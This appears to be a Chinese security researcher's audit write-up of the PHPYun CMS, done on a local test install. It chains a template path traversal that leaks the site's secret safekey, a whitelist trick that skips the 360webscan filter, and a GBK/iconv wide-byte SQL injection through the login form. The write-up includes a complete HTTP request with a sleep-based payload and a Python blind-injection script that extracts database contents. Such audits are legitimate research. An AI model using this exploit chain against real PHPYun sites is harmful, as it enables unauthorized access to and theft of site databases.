PHP:5.4.5

设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786

phpyun SQL注入绕过

0x01 路由分析

01 看index

先做路由分析,上来直接看index.php文件;

image-20230214171851965

它引入了global.php,于是查看global.php文件:

image-20230214172038560

显然它定义了很多,还引入了config.phpdb.config.php;看一下config.php,它都是写死的数据:

image-20230214172704330

安装的时候写死的文件;

再看看db_safty.php文件,顾名思义是数据库安全的,一般是防注入的;

image-20230214173034568

映入眼帘的是quotesGPC(),看到gpc一般就是加反斜线,转义的操作(其实不会对%进行转义,在phpcms中就有)

image-20230214173214144

这文件,前面写了一堆函数,然后有一个调用;加了反斜线之后,又对其它的参数$_POST,$COOKIE,$_GET使用safesql有检查:这里是一个防注入

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
	foreach($_POST  as $id=>$v){
		safesql($id,$v,"POST",$config);
		$id = sfkeyword($id,$config);
		$v = sfkeyword($v,$config);
		$_POST[$id]=common_htmlspecialchars($v);
	}
}

然后看看safesql中是什么:

image-20230214185255956

这里基本就是针对SQL进行一个防注入;如果拦截下来,最后返回了一个360的界面:

image-20230223215441482

是对get,post,cookie进行过滤;

image-20230223224048129

02 跟路由

随便点一下注册,然后开始分析http://127.0.0.1:83/index.php?m=login&usertype=1在代码中的流转;

还是先进入global.php中,先进入db.safety.php文件:

image-20230224161137892

这里先定义了一堆函数,然后再对$_POST,$GET,$COOKIE挨个进行过滤;

db.safety.php文件中,需要注意到,对$_POSTsafesql检查是需要进过一个SQL判断的,而其他的不需要进行这判断;

然后往下走,回到global.php

接下来这里需要注意到引入了smarty.class.php文件

image-20230223224636933

smarty是PHP的模板引擎,这里记一下,是有用的;

然后这里还有一个防注入

image-20230223225125977

是360的防注入;

然后才进行数据库对象的创建;

再跟进数据库对象创建的构造函数和init()函数看了之后,这里的global.php就可以过了;然后继续看index.php

image-20230223230254749

此处获取传入的url,不过这个$var是空的;

接着F8向下走:

image-20230223230606638

在这里,看到将model设置为login,由于没有传入action,也就是变量c,所以被赋值为index

然后再判断这个是不是个文件或者说文件是不是存在,是文件就在下面的require引入一个积累然后引入对应的model.class.文件

并且继续拼接控制器和动作:

image-20230223231033821

并且实例化一个$conclass对象,就是login_controller对象,并且将$db数据库什么的传入进去;

然后F7步入进这个对象的创建过程:

image-20230223231603138

F7之后会直接步入common.php文件的构造方法,因为login_controller是继承了common对象;

image-20230223232101088

构造方法中基本是赋值;

在这里有一个tpl的赋值,这个就是index.php文件中创建的smarty对象

然后下面有一个require引入一个action.class.php,引入了之后还有一个new,所以F7步入new看看;瞄两眼,主要是执行动作什么的,于是就不贴图了;

下面的一堆$this->yunsetF7跟进之后,看到的是$this->tp->assign函数,作用是对模板变量进行参数绑定;

接着往下走:

image-20230223233036208

这里的$modelindex所以会走index方法,该方法也没做什么;也是绑定了一些值,就不贴图了;

上图中,余下的两个函数也一个没有执行内容,一个进行数据库的拼接;

所以F8接着走,就会到了index.php中,判断了$actfunc方法是否存在,存在即执行;

image-20230224155807143

于是F7步入:

image-20230224155827782

到了这里,此时代码逻辑就完成了;

03 路由总结

访问:
http://127.0.0.1:83/index.php?m=login&usertype=1

model/login.class.php文件中的index_action()方法;
在url中没有加入action,所以action默认为了index

$_GET['m'])  m = 模块文件.class.php
				 $model.class.php
$_GET['c'])  c = action

image-20230224160224395

需要注意的是:

$this->tplsmarty模板对象

并且每次初始化一个$action,都会进入common的构造方法,因为有继承关系;

$config是写死的配置信息,ctrl点一下就跳转过去了;

在从urlindex_action经历了:

  1. quoteGPC
  2. 360webscan
  3. safesql

0x02 防注入01

01 简单分析

现在考了过safesql防注入;

硬过是过不了的,只能考虑绕过;

前面有提到,db.safety.php会对GET POST COOKIE进行过滤,但是在对POST进行过滤的时候,会经过一个判断,只有判断成功,才会对POST进行过滤;

image-20230224161559980

所以针对safesql的过滤只能选择if(false)不进入safesql函数;

判断为:$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']

所以两边都需要是false才行;

所以需要$config['sy_istemplate'] == 1md5(md5($config['sy_safekey']).$_GET['m']) == $_POST['safekey']

所以如何绕过safesqls转换成了如何使得判断为false

02 第一个false

由于这是一个$config['sy_istemplate']是写死的,需要知道写的是什么

重新调试一下:

image-20230224162748368

发现配置文件写的就是1,所以第一个就过了;

于是如何使得两个判断为false变成了如何使得第二个判断为false

03 第二个false

现在需要这个判断md5(md5($config['sy_safekey']).$_GET['m']) != $_POST['safekey']也为false

分析判断中的数据:

$_POST['safety'] 可控
$_GET['m']  可控
$config['sy_safekey'] 不可控,存储在配置文件中,并且安装的时候生成的,一机一码,不可控

所以需要考虑能否窥探$config['sy_safekey']数据;

在本地调试的时候自然是知道这个sy_safekey是什么,但是只是针对本地,对其他机器就不一样了;

于是如何使得第二个判断为false变成了如何窥探$config['sy_safekey'],存在哪?如何看?

1 查找sy_safekey

直接Find in FILE

image-20230224163929260

发现,

/plus/config.php,配置文件中存取这明文信息,这个直接访问没用,因为是php所以被解析了;

template/admin/admin_web_config.htm中有key(sy_safekey简称,后文同次称呼),并且是htm文件,考虑能不能直接访问:

image-20230224164432472

能够直接访问,但是不能看到具体数据,没有进行数据绑定;这个是一个模板,像是管理员从后台看模板的;

install/index.php中得到一个信息:

image-20230224164857365

key的长度是8

有如下方法得到key:

1. 爆破
	因为GET['m']和POST['safekey']是可控的,而且是进行的md5运算,爆破10**8次,就能获得key
2. 任意文件读取
	读取/plus/config.php信息,然后将key单独拿出来
3. 日志泄露
	考虑日志泄露,并且日志中有将key写入的操作
4. 源码备份泄露
	考虑源码备份,git的svn
5. 模板缓存泄露
	考虑模板渲染的泄露,知道一个泄露的模板,模板中有key,然后将模板渲染

其它的文件中,基本是直接用的,不能够查看数据;

找完key的使用之后,考虑模板缓存泄露;

2 模板缓存泄露

已经知道template/admin/admin_web_config.htm能够直接访问,并且是一个模板;所以考虑让这个模板被渲染,如果能够渲染就知道了key的值;

由于key只是$config数组中的一个键,所以需要找到$config数组在哪里被引入模板的;

所以此时需要引入phpyun使用的模板引擎smarty了;

smarty 详细使用教程_小菜鸟正洋洋的博客-CSDN博客

由于只需要知道模板是怎么用的,不用关心怎么提高性能什么,所以关注核心如下:

templates 存放模板⽂件
templates_c 存放编译后的⽂件templates
$smarty = new smarty(); 初始化⼀个smarty对象
$smarty->assign("Address",$address); ⽤来赋值到模板中。可以指定⼀对 名称/数值,
也可以指定包含 名称/数值 的联合数组。
$smarty->display('模板⽂件',缓存ID) ⽣成缓存,展示页面

现在在代码中,查看和samrty有关的:

image-20230224170626877

global.php中进行了创建,然后进行了定义,get_install()是检查有没有安装。

这里就new 了一个smarty对象,所以就看看那里有smarty的调用;

有非常多的调用,调用哪些呢?

smarty的方法调用不关心,关注的是,smarty本身被引入到了哪里去了

image-20230224182646104

其实直接看最开始的那个index.php,这就是smarty对象;

image-20230224183231456

然后在注册界面,开始重新调试:

image-20230224184006185

F7步入构造方法,发现,这里进入common的构造方法,因为common是其父类;

需要注意:global $config;这里声明了一个全局变量;ctrl 点一下过去,发现就是/plus/config.php这配置文件;

$config赋值赋给了$this->config

然后看到这里有绑定smarty

image-20230224184236209

接着往下走到这里:

image-20230224184554822

然后F7步入$this->yunset的实现:

image-20230224184657738

yunset的功能是,对模板对象进行参数绑定;

所以这里就将,$this->config绑定到了smarty模板中;所以这里已将/plus/config.php中的$config已经绑定到了smarty模板对象,也就是将PHP层的$config变量渲染到了smarty层,所以说,所有的smarty模板对象现在都被这个变量渲染好了(绑定好了)(因为这是在common中绑定的,并且common是所以控制器的基类),然后需要找一个模板恩建admin_web_config.htm会展示变量;

$smarty = new smarty(); web系统完成;
$smarty->assign("Address",$address); common.php⾥⾯完成,相当于所有模板对象都完成变量绑定的操作;
$smarty->display('模板⽂件',缓存ID) 模板⽂件admin_web_config.htm找到了,相当于只要能想办法触发$smarty->display函数,并且可以指定模板⽂件为admin_web_config.htm,就能看到该变量内容,这个函数相当于就是展示出来;

写不明白,贴个图:

image-20230225112325701

所以现在的问题变成了:想办法,找一个地方展示指定的模板。

3 查找利用

所以现在开始查找有$smarty->display()的地方:

find in file查找->display(发现:

image-20230224233412570

然后看到能用的其实就两个;因为$this->tp->display('member/msg.htm');这种已经写死了,另外的是注释了用不了;

所以现在看一下哪里调用了yuntplyun_tpl两个函数,并且传参是可控的地方:

然后ctrl 点一下看哪里调用yuntpl()函数:

点了一些,有很多都是固定参数的没法利用,有的是在其他的文件夹开头的model下,并且还需要找能够控制变量的:

基本是点能够控制参数的进去看看,再哪些地方调用了调用yuntpl函数的函数;

例如这些是不行的

image-20230225115109923

image-20230225115332629

image-20230225115518807

随后找到了能利用的:

image-20230225114840847

点进去进行查看:发现利用点很近:

image-20230225115650362

所以现在考虑如何使得流程走到这里:

于是尝试访问127.0.0.1:83/company/

进入了访问流程;

image-20230225115833103

index_action()开始调试,

随后在这里有一个SQL查询,这里是查查询了企业有哪些,所以需要先注册一个企业再加一个参数id=1;不然会报错;

访问:http://127.0.0.1:83/company/?id=1,再调试:

此时,就过了sql查询:

image-20230225121326309

接着再调试:

image-20230225121427600

随后发现:

  1. 需要用tplurl绑定一堆参数
  2. 如果不传值,tplurl有固定值
  3. tp没有做什么过滤,但是有一个seo()函数不知道干啥
  4. 拼接的目的地址:company/default/index

这里大胆尝试目录穿越穿越到模板文件template/admin/admin_web_config.htm

于是构造url:http://127.0.0.1:83/company/?id=1&tp=../../../template/admin/admin_web_config

随后成功访问,同时成功获取到了key

image-20230225122016130

key:26699218

此时,只需要md5两下就行

题外话

其实调试过程中挺离谱的,因为开始进入company是看到了可控参数距离利用点很近;所以感觉能利用,前面的步骤虽然很多,但是看到传值取值利用很近,所以忽略了前面的步骤;

于是什么值都没传递,直接访问url/company/,一直报没得企业,慢慢跟,发现SQL没得结果,然后注册了一个企业,加了id=1过了;

过了之后就一路F8走到了$_GET['tp']附近,由于没传值,随后看到默认值一个是default一个是index,显然default在进行拼接的时候在中间,并且还有一定的参数绑定,怕出事不敢动,所以传递$_GET['tp']是能够接受的;

但是有一个$this->seo("company_".$tp);总觉得很难受,怕过不了;

但是都已经只有一点了,所以打算传递$_GET['tp']过去看看会被搞成什么样;

于是开始构造目录穿越http://127.0.0.1:83/company/?id=1&tp=../../../template/admin/admin_web_config(其实开始构造只放了两个../进去)进去调试,发现居然能够正常的拼接,并且返回渲染页面;就没管了;

在写笔记的时候,开始细看调试过程,发现不止一个地方使用了$_GET['tp'],并且不止一个地方把由$_GET['tp']作为参数传值后得到的变量用作变量绑定和信息;

现在进去看看了点,$pageurl是拼接的字符串,$msglist=$this->get_page作用大概是将pageurl页面信息绑定给了common的tpl,返回值和$_GET['page']有关系(但是没传值,是默认值,一般会正常进行)和pageurl并没有关系;

于是在index.class.php中对$msglist的所有传值绑定算是正常的默认操作;所以就能正常的执行到利用点;

04 防注入绕过验证

(可以等第二个防注入完了再看)

我们知道,在绕过防注入的时候,用到了id=1,所以此刻考虑依旧在company进行验证:

绕过safesql这个,需要使得如下判断为false

$config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']

已知 $_GET['m']) 是 模块文件的名字 此处访问的是 index.class.php;也就是index;

于是:

26699218
f8f3e2327e3721519c1c299361f80358
f8f3e2327e3721519c1c299361f80358index
68e0d02899e683d58a1cb870bb41715c

如此传递:

image-20230225192613436

此时,过了一层防注入

image-20230225192600864

0x03 防注入02

01 绕过防注入

if(is_file(LIB_PATH.'webscan360/360safe/360webscan.php')){
	require_once(LIB_PATH.'webscan360/360safe/360webscan.php');
}

目前先随便简单过一下,发现文件中是定义了一堆函数和几个if;所以就还是false就能绕过;

需要关注这一段:

if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {
	
  if ($webscan_get) {

    foreach($_GET as $key=>$value) {
      webscan_StopAttack($key,$value,$getfilter,"GET");
    }
  }
  if ($webscan_post) {
    foreach($_POST as $key=>$value) {
      webscan_StopAttack($key,$value,$postfilter,"POST");
    }
  }
  if ($webscan_cookie) {
    foreach($_COOKIE as $key=>$value) {
      webscan_StopAttack($key,$value,$cookiefilter,"COOKIE");
    }
  }
  if ($webscan_referre) {
    foreach($webscan_referer as $key=>$value) {
      webscan_StopAttack($key,$value,$postfilter,"REFERRER");
    }
  }
}

因为,这一段是一定会走的,于是想办法构造false;

$webscan_switch已经写死为1了;传入的参数也是有了定义的,有正则,有白名单;

image-20230225144151850

然后在看函数:

image-20230225144450365

先是获取了url_pathurl_var,随后就是正则检测;

进行调试127.0.0.1:83看看是什么:

image-20230225145049739

看到红圈里:它这里检测了传入的参数是不是空;

所以考虑传递一点参数进去;

由于不知道传递什么参数,并且为了免得冲突,所以传递up=yu参数;

继续调试,看到这里:

image-20230225190102791

其实就是如果是index.php相当于明示了要传递一个admin_dir=admin

把那个$value就是把白名单展开;

image-20230225190305876

然后成功返回false

image-20230225190506993

此时绕过第二个反注入;

02 防注入绕过验证

直接在之前的验证包中添加:admin_dir=admin

image-20230225192922301

显然也直接绕过了

image-20230225192911490

0x04 防注入 03

01 引言

现在开始绕过最后一个防注入quoteGPC

前两个是说怎么绕,这个是程序员失误造成的绕过;

extractvalue(1, concat(0x5c, (select version())));

image-20230225194019763

在过quoteGPC前,数据如上;

image-20230225194046122

quoteGPC之后数据如下;

被转义了;随后又被拦截了;

经过调试之后发现翻了个错误:本来get的就无法绕过,才有了防注入01使post不被检测;所以最后还是得在post数据中进行注入;

image-20230225194217048

于是在登录和注册的地方抓包;

26699218
f8f3e2327e3721519c1c299361f80358
f8f3e2327e3721519c1c299361f80358login
3b9305964c03c6d6430933448f8ada4b

然后利用登录吧,看到能够传递一个参数过来:

image-20230225195453853

调试能够接受到,也能看到有\的SQL语句;

image-20230225195434022

放到数据库中跑一下,看到能够成功,看来语句被加\前是没得问题的;

image-20230225195646730

现在开始绕过;

02 宽字符注入

看回quotesGPS函数:

function quotesGPC() {

   if(!get_magic_quotes_gpc()){
      $_POST = array_map("addSlash", $_POST);
      $_GET = array_map("addSlash", $_GET);
      $_COOKIE = array_map("addSlash", $_COOKIE);
   }

}

function addSlash($el) {
	if (is_array($el))
		return array_map("addSlash", $el);
	else
		return addslashes($el);
}

其实就是加反斜线的操作;

从写法上来看,其实是无法绕过的;

在很多文件下看到有一句:$username=iconv("utf-8","gbk",$_POST['username']);

这里先将传入的$_POST['username']进行了一个转化,将utf-8转化为了gbk的编码;

一般看到gbk就想到%df,于是此处用%df进行注入:

image-20230225202006370

虽然能够传入%df但是实际上icvon解析不了不处理,所以username直接没了;

但是,如果直接使用$username=$_POST['username']呢?

所以添加一句进去,看看是什么情况:

image-20230225202829018

依旧是传入%df

此时已经有了username,接着调试,直接进SQL查询那步;

image-20230225203005879

显然这里已经是能够执行一个SQL注入的,但是依旧是不成功的退出来了;

image-20230225203059902

这里实际就是不能够注入而失败的;

03 数据库连接

要了解原因,就需要知道这里mysql是怎么连接的;

数据库的连接决定了宽字节连接能不能用:
image-20230226123940780

跟进构造方法:

image-20230226124012857

然后看到connect()方法:

image-20230226124230532

看到红圈的两句话:

@mysql_query("SET NAMES $this->coding"); #冗余了
@mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $this->conn); 

image-20230226124316458

那么将会用binary解析客户端发送到mysql的数据;

如果将字符集设置为gbk,那么mysql就会将发送过来的字节流按照字符集(gbk)进行转换,那么:

%df%5c%27就会变成
運'
这样就会造成注⼊,因为反斜线被吞掉了

但是⼀旦设置成了character_set_client=binary那么mysql不会尝试去理解字节流,⽽是把 每个字节都当做普通的字节来处理(存储、执⾏)

%df%5c%27就会变成
\xdf\'

这样就没有注⼊了,因为反斜线依然⽣效,可以简单的把字符集设置为binary理解为字 符集就是ascii;

这样其实就已经安全了;

但是程序员做了个操作:

$username=iconv("utf-8","gbk",$_POST['username']);

将发过来字节流先⽤utf-8的⽅式读取,然后转化为gbk的形式,并放在$username中 (注意字节内容已经被改变了)

输入 錦'
gpc  --> 錦\'
錦的utf8编码为0xe98ca6 gbk编码为0xe55c
icvon的时候,将0xe98ca6编程了0xe55c

image-20230226125600641

所以
iconv("utf-8","gbk",$_POST['username']); 
	==> iconv("utf-8","gbk","錦\'");
	==> e5 5c \ ' == e5 5c 5c ' (字节流中)
	==> e5 \ \ '

这样的话,我们就把⼀个錦拆成了0xe5这个字符跟⼀个反斜线\,那么这个反斜线不就转 义了后⾯的反斜线,于是乎单引号就逃逸出来了,这⾥就能注⼊了,更多的描述可以看的[p神⽂档](浅析白盒审计中的字符编码及SQL注入 | 离别歌 (leavesongs.com))

所以最后用錦'进行逃逸;

数据包:

POST /index.php?m=login&c=loginsave&admin_dir=admin HTTP/1.1
Host: 127.0.0.1:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 132
Origin: http://127.0.0.1:83
Connection: close
Referer: http://127.0.0.1:83/index.php?m=login&usertype=1
Cookie: bRUpr_admin_username=c814prLhCWuscV8g-sdvMamCI5_4kSei_L_Ph3Ih4afAvg; bRUpr_siteid=8b21PxatYSsKgO6iiwz3HVPKQkvpBZaxDIi8VLiE; bRUpr_userid=a5ebNXWdp59YuCDAugzFLZ5j-3xbnLzLGYFfarvT; bRUpr_admin_email=7e4be7rkaMMcKFu-L5_bzBlhBa2ns2zFPi1tELplN6MOPI9y7porh6V7MBQb; bRUpr_sys_lang=d508ipcwPJ_tJeui0KvgDGMkp8GokEJ3IKaIeRNLDbe7qQ; PSkUf_siteid=7c39Kts0vcGVn0ZlrjsfCGDLuLG55Wfx7CihutHL; PSkUf_admin_email=09b4dBDgJtO3qrVPG0HMSZEYXK36BbkogqCme-OQFajo6ucUoI2ifNxffZY; PSkUf_sys_lang=1386gzc2DWMpRc1TJQOqIu-T2stwuiCcrd8UcQv-C06k9A; qRnyD_siteid=fc95sBnjTqB6dNCvOctqRtUCS6b8IHBtjAkqmwhs; qRnyD_admin_email=26cbPwxDuLATiIitcCDtmuZCnUDMugD2tpOWE_xrjTvWWKtcRNJJ; qRnyD_sys_lang=d232WG-x8Cva2mYD-z-cGLSPMn9wrtrSNa5-aGxq7AuE6A; PHPSESSID=gf9ala6skl0m2fpgm0n0ie8re5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=username錦'+or+sleep(5)--+&password=password123&usertype=1&path=index&loginname=0&safekey=3b9305964c03c6d6430933448f8ada4b

然后用sqlmap跑就行,数据包中用的是sleep(),因为这报错确实没报出来;

害,写笔记的时候没跑出来,截个执行图吧;

image-20230226155416539

再留个之前老代码:

import requests

url = "http://127.0.0.1:83/index.php?m=login&c=loginsave&admin_dir=admin"
headers = {
"Host":"127.0.0.1:83",
"User-Agent":"Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/110.0",
"Accept":"*/*",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip,deflate",
"Content-Type":"application/x-www-form-urlencoded;charset=UTF-8",
"X-Requested-With":"XMLHttpRequest",
"Content-Length":"132",
"Origin":"http://127.0.0.1:83",
"Connection":"close",
"Referer":"http://127.0.0.1:83/index.php?m=login&usertype=1",
"Cookie":"bRUpr_admin_username=c814prLhCWuscV8g-sdvMamCI5_4kSei_L_Ph3Ih4afAvg;bRUpr_siteid=8b21PxatYSsKgO6iiwz3HVPKQkvpBZaxDIi8VLiE;bRUpr_userid=a5ebNXWdp59YuCDAugzFLZ5j-3xbnLzLGYFfarvT;bRUpr_admin_email=7e4be7rkaMMcKFu-L5_bzBlhBa2ns2zFPi1tELplN6MOPI9y7porh6V7MBQb;bRUpr_sys_lang=d508ipcwPJ_tJeui0KvgDGMkp8GokEJ3IKaIeRNLDbe7qQ;PSkUf_siteid=7c39Kts0vcGVn0ZlrjsfCGDLuLG55Wfx7CihutHL;PSkUf_admin_email=09b4dBDgJtO3qrVPG0HMSZEYXK36BbkogqCme-OQFajo6ucUoI2ifNxffZY;PSkUf_sys_lang=1386gzc2DWMpRc1TJQOqIu-T2stwuiCcrd8UcQv-C06k9A;qRnyD_siteid=fc95sBnjTqB6dNCvOctqRtUCS6b8IHBtjAkqmwhs;qRnyD_admin_email=26cbPwxDuLATiIitcCDtmuZCnUDMugD2tpOWE_xrjTvWWKtcRNJJ;qRnyD_sys_lang=d232WG-x8Cva2mYD-z-cGLSPMn9wrtrSNa5-aGxq7AuE6A;PHPSESSID=gf9ala6skl0m2fpgm0n0ie8re5",
"Sec-Fetch-Dest":"empty",
"Sec-Fetch-Mode":"cors",
"Sec-Fetch-Site":"same-origin"
}


result = ""

i = 0
while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = "select database()"
        # 查数据库
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查列名字-id.flag
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
        # 查数据
        # payload = "select flaga from ctfshow_flagx"
        # data = f"select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)"
        data = f"username=username錦'+or+if(select ascii(substr(({payload}),{i},1))>{mid},sleep(5),1)--+&password=password123&usertype=1&path=index&loginname=0&safekey=3b9305964c03c6d6430933448f8ada4b"

        data = f"username=username錦'+union+select+1,2,3,4,5,6,7,8,9,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)--+&password=password123&usertype=1&path=index&loginname=0&safekey=3b9305964c03c6d6430933448f8ada4b".encode()

        try:
            print(data)
            r = requests.post(url=url,data=data,headers=headers,timeout=2)
            tail = mid
            print(r.text)
        except:
            print("??")
            head = mid + 1


    if head != 32:
        result += chr(head)
    else:
        break
    print(head)
    print(result)

image-20230226180140358

在编译器调试的时候,看到的还是錦\,但是在数据库的理解上已经是binary了;

这个居然需要加一个encode()才能传递;